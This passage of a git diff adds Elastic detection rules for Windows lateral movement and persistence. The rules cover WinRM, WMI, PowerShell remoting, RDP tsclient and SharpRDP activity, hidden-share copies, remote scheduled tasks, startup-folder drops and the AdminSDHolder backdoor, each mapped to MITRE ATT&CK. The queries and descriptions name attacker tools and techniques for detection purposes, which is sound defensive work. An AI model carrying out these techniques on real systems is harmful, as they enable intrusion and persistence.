and process.pid == 4 and destination.port == 445 and + network.direction : ("incoming", "ingress") and + network.transport == "tcp" and source.ip != "127.0.0.1" and source.ip != "::1" + ] by process.entity_id + /* add more executable extensions here if they are not noisy in your environment */ + [file where event.type in ("creation", "change") and process.pid == 4 and file.extension : ("exe", "dll", "bat", "cmd")] by process.entity_id +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1570" +name = "Lateral Tool Transfer" +reference = "https://attack.mitre.org/techniques/T1570/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_execution_from_tsclient_mup.toml b/rules/windows/lateral_movement_execution_from_tsclient_mup.toml new file mode 100644 index 000000000..695b45c24 --- /dev/null +++ b/rules/windows/lateral_movement_execution_from_tsclient_mup.toml @@ -0,0 +1,42 @@ +[metadata] +creation_date = "2020/11/11" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies execution from the Remote Desktop Protocol (RDP) shared mountpoint tsclient on the target host. This may +indicate a lateral movement attempt. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Execution via TSClient Mountpoint" +references = ["https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3"] +risk_score = 73 +rule_id = "4fe9d835-40e1-452d-8230-17c147cafad8" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and process.executable : "\\Device\\Mup\\tsclient\\*.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_execution_via_file_shares_sequence.toml b/rules/windows/lateral_movement_execution_via_file_shares_sequence.toml new file mode 100644 index 000000000..af7208993 --- /dev/null +++ b/rules/windows/lateral_movement_execution_via_file_shares_sequence.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/11/03" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the execution of a file that was created by the virtual system process. This may indicate lateral movement +via network file shares. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Remote Execution via File Shares" +references = ["https://blog.menasec.net/2020/08/new-trick-to-detect-lateral-movement.html"] +risk_score = 47 +rule_id = "ab75c24b-2502-43a0-bf7c-e60e662c811e" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence with maxspan=1m + [file where event.type in ("creation", "change") and process.pid == 4 and file.extension : "exe"] by host.id, file.path + [process where event.type in ("start", "process_started")] by host.id, process.executable +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" +[[rule.threat.technique.subtechnique]] +id = "T1021.002" +name = "SMB/Windows Admin Shares" +reference = "https://attack.mitre.org/techniques/T1021/002/" + + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_incoming_winrm_shell_execution.toml b/rules/windows/lateral_movement_incoming_winrm_shell_execution.toml new file mode 100644 index 000000000..9a45277bf --- /dev/null +++ b/rules/windows/lateral_movement_incoming_winrm_shell_execution.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/11/24" +maturity = "production" +updated_date = "2022/01/13" + +[rule] +author = ["Elastic"] +description = """ +Identifies remote execution via Windows Remote Management (WinRM) remote shell on a target host. This could be an +indication of lateral movement. +""" +false_positives = [ + """ + WinRM is a dual-use protocol that can be used for benign or malicious activity. It's important to baseline your + environment to determine the amount of noise to expect from this tool. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Incoming Execution via WinRM Remote Shell" +risk_score = 47 +rule_id = "1cd01db9-be24-4bef-8e7c-e923f0ff78ab" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence by host.id with maxspan=30s + [network where process.pid == 4 and network.direction : ("incoming", "ingress") and + destination.port in (5985, 5986) and network.protocol == "http" and source.ip != "127.0.0.1" and source.ip != "::1" + ] + [process where event.type == "start" and process.parent.name : "winrshost.exe" and not process.name : "conhost.exe"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_incoming_wmi.toml b/rules/windows/lateral_movement_incoming_wmi.toml new file mode 100644 index 000000000..8ec58a746 --- /dev/null +++ b/rules/windows/lateral_movement_incoming_wmi.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2020/11/15" +maturity = "production" +updated_date = "2022/01/13" + +[rule] +author = ["Elastic"] +description = """ +Identifies processes executed via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of +adversary lateral movement, but could be noisy if administrators use WMI to remotely manage hosts. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "WMI Incoming Lateral Movement" +risk_score = 47 +rule_id = "f3475224-b179-4f78-8877-c2bd64c26b88" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence by host.id with maxspan = 2s + + /* Accepted Incoming RPC connection by Winmgmt service */ + + [network where process.name : "svchost.exe" and network.direction : ("incoming", "ingress") and + source.ip != "127.0.0.1" and source.ip != "::1" and source.port >= 49152 and destination.port >= 49152 + ] + + /* Excluding Common FPs Nessus and SCCM */ + + [process where event.type in ("start", "process_started") and process.parent.name : "WmiPrvSE.exe" and + not process.args : ("C:\\windows\\temp\\nessus_*.txt", + "C:\\windows\\TEMP\\nessus_*.TMP", + "C:\\Windows\\CCM\\SystemTemp\\*", + "C:\\Windows\\CCMCache\\*", + "C:\\CCM\\Cache\\*") + ] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1047" +name = "Windows Management Instrumentation" +reference = "https://attack.mitre.org/techniques/T1047/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/lateral_movement_mount_hidden_or_webdav_share_net.toml b/rules/windows/lateral_movement_mount_hidden_or_webdav_share_net.toml new file mode 100644 index 000000000..b157cdded --- /dev/null +++ b/rules/windows/lateral_movement_mount_hidden_or_webdav_share_net.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/11/02" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of net.exe to mount a WebDav or hidden remote share. This may indicate lateral movement or +preparation for data exfiltration. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Mounting Hidden or WebDav Remote Shares" +risk_score = 21 +rule_id = "c4210e1c-64f2-4f48-b67e-b5a8ffe3aa14" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + ((process.name : "net.exe" or process.pe.original_file_name == "net.exe") or ((process.name : "net1.exe" or process.pe.original_file_name == "net1.exe") and + not process.parent.name : "net.exe")) and + process.args : "use" and + /* including hidden and webdav based online shares such as onedrive */ + process.args : ("\\\\*\\*$*", "\\\\*@SSL\\*", "http*") and + /* excluding shares deletion operation */ + not process.args : "/d*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" +[[rule.threat.technique.subtechnique]] +id = "T1021.002" +name = "SMB/Windows Admin Shares" +reference = "https://attack.mitre.org/techniques/T1021/002/" + + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_powershell_remoting_target.toml b/rules/windows/lateral_movement_powershell_remoting_target.toml new file mode 100644 index 000000000..dc983f744 --- /dev/null +++ b/rules/windows/lateral_movement_powershell_remoting_target.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/11/24" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies remote execution via Windows PowerShell remoting. Windows PowerShell remoting allows a user to run any Windows +PowerShell command on one or more remote computers. This could be an indication of lateral movement. +""" +false_positives = [ + """ + PowerShell remoting is a dual-use protocol that can be used for benign or malicious activity. It's important to + baseline your environment to determine the amount of noise to expect from this tool. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Incoming Execution via PowerShell Remoting" +references = [ + "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1", +] +risk_score = 47 +rule_id = "2772264c-6fb9-4d9d-9014-b416eed21254" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence by host.id with maxspan = 30s + [network where network.direction : ("incoming", "ingress") and destination.port in (5985, 5986) and + network.protocol == "http" and source.ip != "127.0.0.1" and source.ip != "::1" + ] + [process where event.type == "start" and process.parent.name : "wsmprovhost.exe" and not process.name : "conhost.exe"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_rdp_enabled_registry.toml b/rules/windows/lateral_movement_rdp_enabled_registry.toml new file mode 100644 index 000000000..b55e084d9 --- /dev/null +++ b/rules/windows/lateral_movement_rdp_enabled_registry.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/11/25" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies registry write modifications to enable Remote Desktop Protocol (RDP) access. This could be indicative of +adversary lateral movement preparation. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "RDP Enabled via Registry" +risk_score = 47 +rule_id = "58aa72ca-d968-4f34-b9f7-bea51d75eb50" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type in ("creation", "change") and + registry.path : "HKLM\\SYSTEM\\*ControlSet*\\Control\\Terminal Server\\fDenyTSConnections" and + registry.data.strings : ("0", "0x00000000") and not (process.name : "svchost.exe" and user.domain == "NT AUTHORITY") and + not process.executable : "C:\\Windows\\System32\\SystemPropertiesRemote.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + [[rule.threat.technique.subtechnique]] + id = "T1021.001" + name = "Remote Desktop Protocol" + reference = "https://attack.mitre.org/techniques/T1021/001/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_rdp_sharprdp_target.toml b/rules/windows/lateral_movement_rdp_sharprdp_target.toml new file mode 100644 index 000000000..93a7d6ca7 --- /dev/null +++ b/rules/windows/lateral_movement_rdp_sharprdp_target.toml @@ -0,0 +1,65 @@ +[metadata] +creation_date = "2020/11/11" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies potential behavior of SharpRDP, which is a tool that can be used to perform authenticated command execution +against a remote target via Remote Desktop Protocol (RDP) for the purposes of lateral movement. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential SharpRDP Behavior" +references = [ + "https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3", + "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Lateral%20Movement/LM_sysmon_3_12_13_1_SharpRDP.evtx", +] +risk_score = 73 +rule_id = "8c81e506-6e82-4884-9b9a-75d3d252f967" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +/* Incoming RDP followed by a new RunMRU string value set to cmd, powershell, taskmgr or tsclient, followed by process execution within 1m */ + +sequence by host.id with maxspan=1m + [network where event.type == "start" and process.name : "svchost.exe" and destination.port == 3389 and + network.direction : ("incoming", "ingress") and network.transport == "tcp" and + source.ip != "127.0.0.1" and source.ip != "::1" + ] + + [registry where process.name : "explorer.exe" and + registry.path : ("HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU\\*") and + registry.data.strings : ("cmd.exe*", "powershell.exe*", "taskmgr*", "\\\\tsclient\\*.exe\\*") + ] + + [process where event.type in ("start", "process_started") and + (process.parent.name : ("cmd.exe", "powershell.exe", "taskmgr.exe") or process.args : ("\\\\tsclient\\*.exe")) and + not process.name : "conhost.exe" + ] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + [[rule.threat.technique.subtechnique]] + id = "T1021.001" + name = "Remote Desktop Protocol" + reference = "https://attack.mitre.org/techniques/T1021/001/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_remote_file_copy_hidden_share.toml b/rules/windows/lateral_movement_remote_file_copy_hidden_share.toml new file mode 100644 index 000000000..97a6f4001 --- /dev/null +++ b/rules/windows/lateral_movement_remote_file_copy_hidden_share.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/11/04" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging +activity. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Remote File Copy to a Hidden Share" +risk_score = 47 +rule_id = "fa01341d-6662-426b-9d0c-6d81e33c8a9d" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : ("cmd.exe", "powershell.exe", "robocopy.exe", "xcopy.exe") and + process.args : ("copy*", "move*", "cp", "mv") and process.args : "*$*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" +[[rule.threat.technique.subtechnique]] +id = "T1021.002" +name = "SMB/Windows Admin Shares" +reference = "https://attack.mitre.org/techniques/T1021/002/" + + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_remote_services.toml b/rules/windows/lateral_movement_remote_services.toml new file mode 100644 index 000000000..7c4a6d600 --- /dev/null +++ b/rules/windows/lateral_movement_remote_services.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/11/16" +maturity = "production" +updated_date = "2022/01/13" + +[rule] +author = ["Elastic"] +description = """ +Identifies remote execution of Windows services over remote procedure call (RPC). This could be indicative of lateral +movement, but will be noisy if commonly done by administrators." +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Remotely Started Services via RPC" +risk_score = 47 +rule_id = "aa9a274d-6b53-424d-ac5e-cb8ca4251650" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +sequence with maxspan=1s + [network where process.name : "services.exe" and + network.direction : ("incoming", "ingress") and network.transport == "tcp" and + source.port >= 49152 and destination.port >= 49152 and source.ip != "127.0.0.1" and source.ip != "::1" + ] by host.id, process.entity_id + + [process where event.type in ("start", "process_started") and process.parent.name : "services.exe" and + not (process.name : "svchost.exe" and process.args : "tiledatamodelsvc") and + not (process.name : "msiexec.exe" and process.args : "/V") + + /* uncomment if psexec is noisy in your environment */ + /* and not process.name : "PSEXESVC.exe" */ + ] by host.id, process.parent.entity_id +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_scheduled_task_target.toml b/rules/windows/lateral_movement_scheduled_task_target.toml new file mode 100644 index 000000000..ba161aef6 --- /dev/null +++ b/rules/windows/lateral_movement_scheduled_task_target.toml @@ -0,0 +1,97 @@ +[metadata] +creation_date = "2020/11/20" +maturity = "production" +updated_date = "2022/01/13" + +[rule] +author = ["Elastic"] +description = "Identifies remote scheduled task creations on a target host. This could be indicative of adversary lateral movement." +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Remote Scheduled Task Creation" +note = """## Triage and analysis + +### Investigating Creation of Remote Scheduled Tasks + +[Scheduled tasks](https://docs.microsoft.com/en-us/windows/win32/taskschd/about-the-task-scheduler) are a great +mechanism for persistence and program execution. These features can +be used remotely for a variety of legitimate reasons, but at the same time used by malware and adversaries. +When investigating scheduled tasks that were set up remotely, one of the first steps should be to determine the +original intent behind the configuration and to verify if the activity is tied to benign behavior such as software installation or any kind +of network administrator work. One objective for these alerts is to understand the configured action within the scheduled +task. This is captured within the registry event data for this rule and can be base64 decoded to view the value. + +#### Possible investigation steps: +- Review the base64 encoded tasks actions registry value to investigate the task configured action. +- Determine if task is related to legitimate or benign behavior based on the corresponding process or program tied to the +scheduled task. +- Further examination should include both the source and target machines where host-based artifacts and network logs +should be reviewed further around the time window of the creation of the scheduled task. + +### False Positive Analysis +- There is a high possibility of benign activity tied to the creation of remote scheduled tasks as it is a general feature +within Windows and used for legitimate purposes for a wide range of activity. Any kind of context should be found to +further understand the source of the activity and determine the intent based on the scheduled task contents. + +### Related Rules +- Service Command Lateral Movement +- Remotely Started Services via RPC + +### Response and Remediation +- This behavior represents post-exploitation actions such as persistence or lateral movement, immediately review and +investigate the activity and potentially isolate involved machines to prevent further post-compromise +behavior. +- Remove scheduled task and any other related artifacts to the activity. +- Review privileged account management and user account management settings such as implementing GPO policies to further +restrict activity or configure settings that only allow Administrators to create remote scheduled tasks. +""" +risk_score = 47 +rule_id = "954ee7c8-5437-49ae-b2d6-2960883898e9" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +type = "eql" + +query = ''' +/* Task Scheduler service incoming connection followed by TaskCache registry modification */ + +sequence by host.id, process.entity_id with maxspan = 1m + [network where process.name : "svchost.exe" and + network.direction : ("incoming", "ingress") and source.port >= 49152 and destination.port >= 49152 and + source.ip != "127.0.0.1" and source.ip != "::1" + ] + [registry where registry.path : "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\*\\Actions"] +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1053" +name = "Scheduled Task/Job" +reference = "https://attack.mitre.org/techniques/T1053/" + + [[rule.threat.technique.subtechnique]] + id = "T1053.005" + name = "Scheduled Task" + reference = "https://attack.mitre.org/techniques/T1053/005/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" + diff --git a/rules/windows/lateral_movement_service_control_spawned_script_int.toml b/rules/windows/lateral_movement_service_control_spawned_script_int.toml new file mode 100644 index 000000000..1efedc685 --- /dev/null +++ b/rules/windows/lateral_movement_service_control_spawned_script_int.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies Service Control (sc.exe) spawning from script interpreter processes to create, modify, or start services. +This could be indicative of adversary lateral movement but will be noisy if commonly done by admins. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "logs-system.*", "winlogbeat-*"] +language = "eql" +license = "Elastic License v2" +name = "Service Control Spawned via Script Interpreter" +risk_score = 21 +rule_id = "e8571d5f-bea1-46c2-9f56-998de2d3ed95" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +/* This rule is not compatible with Sysmon due to user.id issues */ + +process where event.type == "start" and + (process.name : "sc.exe" or process.pe.original_file_name == "sc.exe") and + process.parent.name : ("cmd.exe", "wscript.exe", "rundll32.exe", "regsvr32.exe", + "wmic.exe", "mshta.exe","powershell.exe", "pwsh.exe") and + process.args:("config", "create", "start", "delete", "stop", "pause") and + /* exclude SYSTEM SID - look for service creations by non-SYSTEM user */ + not user.id : "S-1-5-18" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" diff --git a/rules/windows/lateral_movement_suspicious_rdp_client_imageload.toml b/rules/windows/lateral_movement_suspicious_rdp_client_imageload.toml new file mode 100644 index 000000000..ae279a4b6 --- /dev/null +++ b/rules/windows/lateral_movement_suspicious_rdp_client_imageload.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/11/19" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious Image Loading of the Remote Desktop Services ActiveX Client (mstscax), this may indicate the +presence of RDP lateral movement capability. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious RDP ActiveX Client Loaded" +references = ["https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3"] +risk_score = 47 +rule_id = "71c5cb27-eca5-4151-bb47-64bc3f883270" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +library where dll.name : "mstscax.dll" and + /* depending on noise in your env add here extra paths */ + process.executable : + ( + "C:\\Windows\\*", + "C:\\Users\\Public\\*", + "C:\\Users\\Default\\*", + "C:\\Intel\\*", + "C:\\PerfLogs\\*", + "C:\\ProgramData\\*", + "\\Device\\Mup\\*", + "\\\\*" + ) and + /* add here FPs */ + not process.executable : ("C:\\Windows\\System32\\mstsc.exe", "C:\\Windows\\SysWOW64\\mstsc.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" + diff --git a/rules/windows/lateral_movement_via_startup_folder_rdp_smb.toml b/rules/windows/lateral_movement_via_startup_folder_rdp_smb.toml new file mode 100644 index 000000000..290eebc77 --- /dev/null +++ b/rules/windows/lateral_movement_via_startup_folder_rdp_smb.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/10/19" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious file creations in the startup folder of a remote system. An adversary could abuse this to move +laterally by dropping a malicious script or executable that will be executed after a reboot or user logon. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Lateral Movement via Startup Folder" +references = ["https://www.mdsec.co.uk/2017/06/rdpinception/"] +risk_score = 73 +rule_id = "25224a80-5a4a-4b8a-991e-6ab390465c4f" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Lateral Movement"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type in ("creation", "change") and + /* via RDP TSClient mounted share or SMB */ + (process.name : "mstsc.exe" or process.pid == 4) and + file.path : "C:\\*\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1021" +name = "Remote Services" +reference = "https://attack.mitre.org/techniques/T1021/" + + +[rule.threat.tactic] +id = "TA0008" +name = "Lateral Movement" +reference = "https://attack.mitre.org/tactics/TA0008/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.001" +name = "Registry Run Keys / Startup Folder" +reference = "https://attack.mitre.org/techniques/T1547/001/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_ad_adminsdholder.toml b/rules/windows/persistence_ad_adminsdholder.toml new file mode 100644 index 000000000..e826ad861 --- /dev/null +++ b/rules/windows/persistence_ad_adminsdholder.toml @@ -0,0 +1,43 @@ +[metadata] +creation_date = "2022/01/31" +maturity = "production" +updated_date = "2022/01/31" + +[rule] +author = ["Elastic"] +description = """ +Detects modifications in the AdminSDHolder object. Attackers can abuse the SDProp process to implement a persistent +backdoor in Active Directory. SDProp compares the permissions on protected objects with those defined on the +AdminSDHolder object. If the permissions on any of the protected accounts and groups do not match, the permissions on +the protected accounts and groups are reset to match those of the domain's AdminSDHolder object, regaining their +Administrative Privileges. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*", "logs-system.*"] +language = "kuery" +license = "Elastic License v2" +name = "AdminSDHolder Backdoor" +references = [ + "https://adsecurity.org/?p=1906", + "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory#adminsdholder", +] +risk_score = 73 +rule_id = "6e9130a5-9be6-48e5-943a-9628bfc74b18" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence", "Active Directory"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.action:"Directory Service Changes" and event.code:5136 and winlog.event_data.ObjectDN:CN=AdminSDHolder,CN=System* +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" + diff --git a/rules/windows/persistence_adobe_hijack_persistence.toml b/rules/windows/persistence_adobe_hijack_persistence.toml new file mode 100644 index 000000000..279f35990 --- /dev/null +++ b/rules/windows/persistence_adobe_hijack_persistence.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = "Detects writing executable files that will be automatically launched by Adobe on launch." +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Adobe Hijack Persistence" +risk_score = 21 +rule_id = "2bf78aa2-9c56-48de-b139-f169bf99cf86" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.type == "creation" and + file.path : ("?:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe", + "?:\\Program Files\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe") and + not process.name : "msiexec.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1574" +reference = "https://attack.mitre.org/techniques/T1574/" +name = "Hijack Execution Flow" +[[rule.threat.technique.subtechnique]] +id = "T1574.010" +reference = "https://attack.mitre.org/techniques/T1574/010/" +name = "Services File Permissions Weakness" + + + +[rule.threat.tactic] +id = "TA0003" +reference = 